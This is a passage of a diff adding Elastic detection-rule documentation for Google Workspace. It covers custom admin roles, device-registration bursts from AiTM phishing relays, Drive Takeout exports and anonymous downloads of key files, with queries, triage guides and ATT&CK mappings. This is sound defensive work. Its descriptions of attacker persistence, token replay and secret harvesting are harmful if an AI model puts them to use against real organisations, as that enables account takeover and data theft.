lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.action:"CHANGE_APPLICATION_SETTING" + and google_workspace.admin.new_value:"Disabled" and google_workspace.admin.setting.name:BitLocker* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-custom-admin-role-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-custom-admin-role-created.asciidoc new file mode 100644 index 0000000000..e5d5119f36 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-custom-admin-role-created.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-google-workspace-custom-admin-role-created]] +=== Google Workspace Custom Admin Role Created + +Detects when a custom administrative role is created in Google Workspace. Unlike prebuilt admin roles, custom roles allow granular selection of privileges across Google services and can be assigned to users or groups. Adversaries may create a custom admin role to craft elevated permissions tailored to their objectives, then assign that role to a compromised or attacker-controlled account to establish persistence and enable follow-on actions such as modifying security controls, granting OAuth access, or changing mail routing. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2406043?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Tactic: Privilege Escalation +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Custom Admin Role Created* + + +Google Workspace allows administrators to create custom admin roles with granular privileges across services such as +Users, Groups, Gmail, Drive, and Security. Custom roles are often used for delegated administration, but they can also +be abused to establish persistence: an adversary may create a role with only the privileges they need, then assign it to +a compromised account or group without modifying well-known prebuilt roles. Because role creation alone does not grant +access, determining whether the new role was assigned, and what privileges it contains, is a critical part of triage. + +This rule identifies when a custom administrative role is created in the Google Admin console. + + +*Possible investigation steps* + + +- Identify the initiating (actor) account that created the role by reviewing `user.email` or `user.name`, and note the `source.ip` and `event.ingested` timestamps. +- Identify the role created by reviewing `google_workspace.admin.role.name`. +- Determine whether the role creation is expected and authorized: + - Validate there is an approved change request/ticket and that the actor account is authorized to create custom admin roles. + - If the actor account or source IP is unusual, treat the alert as higher priority until proven benign. +- Review role permissions in the Google Admin console: + - Navigate to Account > Admin roles. + - Locate the role name from `google_workspace.admin.role.name` and select it to open the role details. + - Review the Privileges tab to confirm which administrative permissions were granted. + - Review the Admins tab to see which users or groups are currently assigned the role. +- Search Kibana for role assignments to identify principals that received the new role: + - Search Google Workspace admin logs with a time range starting at the role creation timestamp. + - Use the following KQL example, replacing `` with the value from `google_workspace.admin.role.name`: + ``` + data_stream.dataset: "google_workspace.admin" and event.action: "ASSIGN_ROLE" and google_workspace.admin.role.name: "" + ``` + - Review `user.target.email` and `user.target.name` for user/group assignments. + - Expand the time range if needed; role assignment may occur shortly after creation or during a later persistence step. +- Scope for related role activity by searching for: + - `event.action: ADD_PRIVILEGE` or `event.action: UPDATE_ROLE` filtered on the same `google_workspace.admin.role.name` to identify privilege changes after creation. + - The same `user.email` (actor) performing other IAM actions such as `ASSIGN_ROLE`, `CREATE_USER`, or security policy changes. +- Evaluate whether assigned users (or members of assigned groups) performed suspicious activity after receiving the role: + - Review the last 48 hours of admin/audit events for security control changes, user or group changes, and Gmail configuration changes. + + +*False positive analysis* + + +- Verify the role creation aligns with approved administrative duties, an authorized change window, and the organization’s access governance process. +- Confirm the initiating admin account is legitimate and not creating roles from unusual IPs, devices, or locations. +- Compare the custom role’s privileges against the stated business need; overly broad privileges (for example, Super Admin–equivalent access) warrant closer review even if the creation was authorized. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the role is not clearly authorized, delete or disable the custom role and remove any user/group assignments while the investigation proceeds. +- For suspected compromise of the initiating admin account: + - Reset credentials, revoke active sessions, enforce MFA re-enrollment, and review delegation/OAuth grants for persistence. + - Validate recovery email/phone settings and account security posture. +- Review whether assigned principals require the granted privileges, and replace broad custom roles with narrower delegated roles where feasible. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.action:CREATE_ROLE + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-device-registration-after-oauth-from-suspicious-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-device-registration-after-oauth-from-suspicious-asn.asciidoc new file mode 100644 index 0000000000..ac89fb154f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-device-registration-after-oauth-from-suspicious-asn.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-google-workspace-device-registration-after-oauth-from-suspicious-asn]] +=== Google Workspace Device Registration After OAuth from Suspicious ASN + +Detects when a Google Workspace account completes OAuth authorization for a specific Google OAuth client from a high-risk autonomous system number (ASN), followed within 30 seconds by a device registration event with account state REGISTERED. This sequence can indicate device enrollment or join flows initiated from attacker-controlled or residential-proxy infrastructure after a user authorizes a sensitive client. + +*Rule type*: eql + +*Rule indices*: + +* logs-google_workspace* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://support.google.com/a/answer/7061566 + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Threat: Tycoon2FA +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Event Correlation (EQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Device Registration After OAuth from Suspicious ASN* + + +Review `user.name`, `user.email`, `source.ip`, `source.as.organization.name`, `google_workspace.token.client.id`, +`google_workspace.token.app_name`, and device fields on the second event (for example device display name or ID if +present in your schema). + +Confirm whether the user intentionally registered a device and whether the OAuth client and ASN are expected for your +mobile device management or enrollment program. + + +*Possible investigation steps* + + +- Correlate both events on `user.name` and timestamps to confirm the sequence is a single enrollment story. +- Revoke or audit OAuth grants for the client if the authorization was not expected. +- Search for additional `google_workspace.device` registrations from the same ASN in the same period. + + +*Response and remediation* + + +- If malicious, remove the unauthorized device from the Google Admin console, reset the user password, and revoke + active sessions and tokens per incident policy. +- Restrict device registration and review OAuth app access policies. + + + + +*Event lag* + + +Google Workspace audit data can lag minutes to days behind real time. If sequences are missed, increase `from` and +lower the integration poll interval per Google and Elastic documentation. + +==== Setup + + +The Google Workspace Fleet integration or Filebeat Google Workspace module must ingest `google_workspace.token` and +`google_workspace.device` audit streams. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.name with maxspan=30s + [iam where data_stream.dataset == "google_workspace.token" and event.action == "authorize" and + google_workspace.token.client.id == "77185425430.apps.googleusercontent.com" and + source.as.number in (9009, 45102, 215540, 29802, 62240, 204957, 395092)] + [any where data_stream.dataset == "google_workspace.device" and google_workspace.device.account_state == "REGISTERED"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-device-registration-burst-for-single-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-device-registration-burst-for-single-user.asciidoc new file mode 100644 index 0000000000..a0dd7bd222 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-device-registration-burst-for-single-user.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-google-workspace-device-registration-burst-for-single-user]] +=== Google Workspace Device Registration Burst for Single User + +Detects bursts of Google Workspace device registration events for the same user, where three or more distinct "google_workspace.device.id" values are emitted in a one-minute window. Although "DEVICE_REGISTER_UNREGISTER_EVENT" fires routinely on session/sync registration and is not a true physical device enrollment, legitimate user activity typically produces fewer than three distinct device IDs in a single minute. A high-cardinality burst is the fingerprint behavior of AiTM phishing-kit relays (Tycoon2FA Google variant, EvilGinx phishlets) and stolen-OAuth-token replay tooling, both of which mint a new session attestation per relay or replay attempt. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developers.google.com/workspace/admin/reports/v1/appendix/activity/mobile +* https://any.run/malware-trends/tycoon/ +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Google Workspace +* Data Source: Google Workspace Device Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Device Registration Burst for Single User* + + +`DEVICE_REGISTER_UNREGISTER_EVENT` from the Google Workspace `mobile` provider does not represent a one-time physical device enrollment. The Reports API emits a fresh `google_workspace.device.id` on every session/sync registration, and a single physical device can produce multiple events per day as Workspace-aware apps independently attest. Legitimate activity, however, very rarely concentrates three or more distinct device IDs into a one-minute window for a single user. A burst of that shape is the fingerprint of either: + +- An AiTM phishing-kit relay session: the kit completes the victim's sign-in against Google, then attests one or more device contexts of its own, all from the same kit infrastructure within seconds. +- Token-replay tooling driving multiple sessions in quick succession against a stolen OAuth refresh token. + +In both cases the device fingerprint (OS, model) typically converges on a single value distinct from the victim's baseline (e.g., all "Windows" attestations for a known macOS user), and the burst events fire within a few seconds of each other rather than spread across minutes. + + +*Possible investigation steps* + + +- Identify the user (`user.email`, `user.id`) and inspect `Esql.host_os_version_values`, `Esql.device_type_values`, `Esql.device_model_values`. A homogeneous fingerprint (single OS, single model) across multiple device IDs in the burst window is highly suspicious. +- Cross-reference `logs-google_workspace.login` for `event.action: "login_success"` events from the same `user.email` in the 30 minutes preceding the burst. The kit-relay sign-ins should appear there. Inspect each sign-in's `source.geo.country_name`, `source.as.organization.name`, and `user_agent.original` for divergence from the user's baseline. Hosting-provider ASNs (Clouvider, Host Telecom, OVH, Alibaba, Vultr, DigitalOcean, M247) for interactive sign-ins are high-fidelity suspicious. +- Cross-reference `logs-google_workspace.token` for `event.action: "authorize"` events for the same user near the burst window. Each kit relay normally fires a corresponding OAuth grant within seconds, often to Google Chrome (`77185425430.apps.googleusercontent.com`) or another long-lived first-party client. +- Pull all `logs-google_workspace.device` events for the user across the 24 hours preceding the burst to characterize the user's normal device-event rate. A user who typically produces less than 1 event per hour suddenly emitting 3+ in a minute is a strong anomaly even before considering device fingerprints. +- Confirm with the user whether they were performing a new device setup, OS upgrade, or onboarding activity during the burst window. + + +*False positive analysis* + + +- New device setup where a user simultaneously enrolls multiple Workspace-aware apps (Gmail, Drive, Calendar, Meet) on first boot can produce a burst. Validate by checking whether the burst coincides with a known device refresh or onboarding event. +- Major OS upgrades that re-attest several apps concurrently can also produce a burst. The host OS version values will reflect the upgrade transition. +- Bulk MDM rollouts or fleet refreshes may produce bursts across many users at the same time. Consider rule suppression during planned rollouts. + + +*Response and remediation* + + +- Treat as likely AiTM compromise or token-replay activity until proven otherwise. Suspend the user, revoke all OAuth tokens (`DELETE /admin/directory/v1/users//tokens/`), reset the password, clear recovery email/phone, sign out all sessions. +- Audit `logs-google_workspace.token: authorize` events for kit-issued or replay-issued OAuth grants. Each grant maps to an independently replayable refresh token; revoking via the consent removes them all at once. +- Audit the device IDs surfaced in the burst via the Admin SDK Directory API and remove any that are confirmed adversary-controlled. +- If the tenant exposes GCP resources to the user, cross-check `logs-gcp.audit-*` for `authenticationInfo.principalEmail` matching the user from a non-baseline `callerIp` in the same window; token theft frequently extends to cross-cloud access. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-google_workspace.device-* +| where event.dataset == "google_workspace.device" + and event.action == "DEVICE_REGISTER_UNREGISTER_EVENT" + and google_workspace.device.account_state == "REGISTERED" + and user.email is not null + and google_workspace.device.id is not null + +| eval Esql.bucket_minute = date_trunc(1 minute, @timestamp) + +| stats + Esql.count_distinct_device_id = count_distinct(google_workspace.device.id), + Esql.device_id_values = values(google_workspace.device.id), + Esql.device_resource_id_values = values(google_workspace.device.resource.id), + Esql.device_type_values = values(google_workspace.device.type), + Esql.device_model_values = values(google_workspace.device.model), + Esql.device_account_state_values = values(google_workspace.device.account_state), + Esql.host_os_version_values = values(host.os.version), + Esql.event_provider_values = values(event.provider), + Esql.event_id_values = values(event.id), + Esql.google_workspace_actor_type_values = values(google_workspace.actor.type), + Esql.google_workspace_event_type_values = values(google_workspace.event.type), + Esql.organization_id_values = values(organization.id), + Esql.user_domain_values = values(user.domain), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.event_count = count(*) + by user.id, user.email, user.name, Esql.bucket_minute + +| where Esql.count_distinct_device_id >= 3 + +| keep user.id, + user.email, + user.name, + Esql.bucket_minute, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen, + Esql.count_distinct_device_id, + Esql.event_count, + Esql.device_id_values, + Esql.device_resource_id_values, + Esql.device_type_values, + Esql.device_model_values, + Esql.device_account_state_values, + Esql.host_os_version_values, + Esql.event_provider_values, + Esql.event_id_values, + Esql.google_workspace_actor_type_values, + Esql.google_workspace_event_type_values, + Esql.organization_id_values, + Esql.user_domain_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-drive-data-transfer-or-takeout-export-initiated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-drive-data-transfer-or-takeout-export-initiated.asciidoc new file mode 100644 index 0000000000..ae8cbce6f0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-drive-data-transfer-or-takeout-export-initiated.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-google-workspace-drive-data-transfer-or-takeout-export-initiated]] +=== Google Workspace Drive Data Transfer or Takeout Export Initiated + +Detects when Google Workspace administrators initiate bulk movement or export of user Drive data. This includes admin data transfer requests that reassign a user's Drive files to another account, and Customer Takeout export jobs that package organizational data for download or off-platform transfer. Adversaries with administrative access may abuse these mechanisms to stage or exfiltrate sensitive files. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/1247799?hl=en +* https://support.google.com/a/answer/10276199 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Drive Data Transfer or Takeout Export Initiated* + + +Google Drive is a cloud storage service available to Google Workspace users. Administrators can bulk-transfer a +departing user's Drive files to another in-domain account, or create Customer Takeout exports that package user or +organizational data for download or transfer to an external destination (for example, another cloud provider). + +Adversaries with compromised administrator credentials may abuse these workflows to collect sensitive files without +relying on per-file sharing changes. This rule detects two related admin audit actions: + +- `CREATE_DATA_TRANSFER_REQUEST` with Drive application scope — ownership or bulk transfer to another user. +- `CUSTOMER_TAKEOUT_CREATED` — initiation of a Customer Takeout export job. + + +*Possible investigation steps* + + +- Review admin logs for involved user accounts. +- For data transfer requests, confirm the request initiator, source and destination users in `user.email`, `user.target.email`, and `google_workspace.admin.new_value`. +- For Customer Takeout events (`CUSTOMER_TAKEOUT_CREATED`): + - In Elasticsearch, pivot on `google_workspace.admin.OBFUSCATED_CUSTOMER_TAKEOUT_REQUEST_ID` to find related admin events for the same export job (for example completion or failure). The Admin console Data export UI does not expose or accept this ID for search. + - In the Admin console, go to Data > Data import & export > Data export and identify the export by correlating `@timestamp`, Set up by (`user.email`), and Last start date / Status. The export Name shown in the console is not present in Workspace admin logs. + - Open the matching row and select View archive to review exported data scope and where the archive is stored (Google-provided bucket or customer-owned Cloud Storage). +- Determine if involved user accounts are active. +- Check if involved user accounts were recently disabled, suspended, or scheduled for deletion. +- Review involved user accounts for potentially misconfigured permissions or roles. +- Review the involved shared drives, My Drive files, or export scope to determine if this action was expected. +- Triage potentially related alerts based on the users involved. + + +*False positive analysis* + + +- Drive data transfers require Google Workspace administration permissions. Confirm the transfer was planned during offboarding or role change and targets the correct receiver. +- Customer Takeout exports are common for compliance, migration, and departures. Validate the initiator is authorized and the export scope matches policy. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and ( + (event.action:"CREATE_DATA_TRANSFER_REQUEST" and google_workspace.admin.application.name:Drive*) or + event.action:"CUSTOMER_TAKEOUT_CREATED" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Remote Data Staging +** ID: T1074.002 +** Reference URL: https://attack.mitre.org/techniques/T1074/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc new file mode 100644 index 0000000000..27ce6c2cc3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-google-workspace-drive-encryption-key-s-accessed-from-anonymous-user]] +=== Google Workspace Drive Encryption Key(s) Accessed from Anonymous User + +Detects when an anonymous user views, copies, or downloads a private key or credential file from Google Drive via an anyone-with-the-link share. Adversaries who obtain or create open Drive links can harvest encryption keys and secrets stored in user drives, then use those materials to decrypt data, authenticate to services, or expand access beyond the initial compromise. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.drive-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/drive/answer/2494822 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Credential Access +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Drive Encryption Key(s) Accessed from Anonymous User* + + +Threat actors and opportunistic scanners frequently abuse Google Drive links set to "Anyone with the link" to access +sensitive files without authenticating. Private keys, keystores, and token files stored in user drives are high-value +targets. Possession of these files can enable decryption of protected data, signing or impersonation, and lateral +movement into systems that trust the exposed material. + +This rule uses EQL to detect `view`, `copy`, or `download` activity in `google_workspace.drive` where +`google_workspace.drive.visibility` is `people_with_link`, `source.user.email` is empty (anonymous access), and +`file.extension` matches common key or credential file types. + + +*Possible investigation steps* + + +- Identify the file accessed by reviewing `file.name` and `google_workspace.drive.file.type`, and note `event.action` (`view`, `copy`, or `download`) and `event.ingested`. +- Identify the file owner by reviewing `google_workspace.drive.file.owner.email` and determine whether that user should store key material in Drive. +- Review `source.user.id` and any available IP or user-agent context in the raw event to characterize the anonymous accessor. +- Confirm sharing posture in Google Drive: + - Open the file in Drive as an administrator or the owner and review Share settings. + - Verify whether access is "Anyone with the link" and whether the link was intentionally published or may have been exposed after account compromise. +- Search Kibana for related Drive activity for the same file or owner: + ``` + data_stream.dataset: "google_workspace.drive" and google_workspace.drive.file.owner.email: "" and file.name: "" + ``` + - Look for earlier `change_user_access`, `change_document_visibility`, or `rename` events that may indicate when the link was opened. + - Search for other key-like files owned by the same user with `people_with_link` visibility. +- Determine blast radius — identify which systems, applications, or cloud resources the key protects (VPN, TLS, code signing, service accounts, encrypted archives). +- Contact the file owner and security stakeholders to confirm whether anonymous access was expected (for example, a documented external audit). Treat unexpected access as high priority. + + +*False positive analysis* + + +- Legitimate use of link-based sharing for key files is rare; validate business justification before closing as benign. +- Automated scanners or DLP tools may touch public links — correlate with known security tooling and owner intent. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- Revoke the open link or restrict sharing to specific users; move key material out of broadly link-shared locations. +- If access is unauthorized, rotate or replace the exposed keys and review dependent systems for abuse. +- Review the file owner's account for signs of compromise (unusual logins, OAuth grants, or mass sharing changes). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured 